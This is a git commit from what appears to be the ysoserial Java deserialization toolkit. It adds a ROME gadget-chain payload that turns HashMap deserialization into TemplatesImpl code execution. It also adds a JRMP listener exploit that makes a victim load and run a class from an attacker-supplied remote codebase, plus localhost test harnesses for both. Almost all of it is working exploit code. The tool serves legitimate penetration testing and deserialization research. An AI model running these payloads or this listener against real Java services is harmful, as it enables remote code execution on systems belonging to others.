Add rome (RSS/Atom library) gadget chain.

Add exploit and test code for JRMP reverse connect remote classloading.
This commit is contained in:
mbechler
2016-03-12 17:35:17 +01:00
parent bdb1e0db3d
commit 3230c080ff
9 changed files with 244 additions and 7 deletions
+5
View File
@@ -233,6 +233,11 @@
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
<profiles>
@@ -0,0 +1,50 @@
package ysoserial.exploit;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
*
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
*
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
*
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
*
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*
*/
public class JRMPClassLoadingListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
@@ -96,6 +96,14 @@ public class JRMPClient {
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
@@ -103,12 +111,15 @@ public class JRMPClient {
@Override
protected void annotateClass ( Class<?> cl ) throws IOException {
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
if ( this.sendUrl != null ) {
writeObject(this.sendUrl.toString());
} else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
@@ -11,10 +11,12 @@ import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
@@ -22,6 +24,9 @@ import java.rmi.server.UID;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
@@ -47,6 +52,7 @@ public class JRMPListener implements Runnable {
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
@@ -54,6 +60,13 @@ public class JRMPListener implements Runnable {
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public boolean waitFor ( int i ) {
@@ -246,7 +259,7 @@ public class JRMPListener implements Runnable {
System.err.println("Sending return with payload");
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out);
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
@@ -264,4 +277,24 @@ public class JRMPListener implements Runnable {
}
}
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
@@ -48,7 +48,7 @@ import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
@@ -0,0 +1,45 @@
package ysoserial.payloads;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
@Dependencies("rome:rome:1.0")
public class ROME implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(ROME.class, args);
}
}
@@ -36,7 +36,9 @@ public class Gadgets {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
@@ -0,0 +1,64 @@
package ysoserial.payloads;
import java.net.URL;
import java.util.concurrent.Callable;
import ysoserial.WrappedTest;
import ysoserial.exploit.JRMPListener;
/**
* @author mbechler
*
*/
public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest {
private int jrmpPort;
public JRMPReverseConnectSMTest (String command) {
super(command);
// some payloads cannot specify the port
jrmpPort = 1099;
}
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
*/
@Override
public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
return super.createCallable(new Callable<Object>() {
public Object call () throws Exception {
JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/"));
Thread t = new Thread(l, "JRMP listener");
try {
t.start();
Object res = innerCallable.call();
l.waitFor(1000);
return res;
}
finally {
l.close();
t.interrupt();
t.join();
}
}
});
}
@Override
public String getPayloadArgs () {
return "localhost:" + jrmpPort;
}
}
@@ -3,6 +3,7 @@ package ysoserial.payloads;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.Serializable;
import java.util.Random;
import java.util.concurrent.Callable;
@@ -35,11 +36,17 @@ public class RemoteClassLoadingTest implements WrappedTest {
return String.format("http://localhost:%d/", this.port) + ":" + this.className;
}
public int getHTTPPort () {
return this.port;
}
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
}
public String getExploitClassName () {
return this.className;
}
protected byte[] makePayloadClass () {
try {
@@ -60,6 +67,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
private Callable<Object> innerCallable;
private byte[] data;
private Object waitLock = new Object();
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
@@ -68,12 +76,22 @@ public class RemoteClassLoadingTest implements WrappedTest {
this.innerCallable = innerCallable;
}
public void waitFor() throws InterruptedException {
synchronized ( this.waitLock ) {
this.waitLock.wait(1000);
}
}
public Object call () throws Exception {
try {
setup();
return this.innerCallable.call();
Object res = this.innerCallable.call();
waitFor();
Thread.sleep(1000);
return res;
}
finally {
cleanup();
@@ -93,12 +111,21 @@ public class RemoteClassLoadingTest implements WrappedTest {
@Override
public Response serve ( IHTTPSession sess ) {
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
System.out.println("Serving " + sess.getUri());
Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
return response;
}
}
public static class Exploit {
public static class Exploit implements Serializable {
private static final long serialVersionUID = 1L;
}
}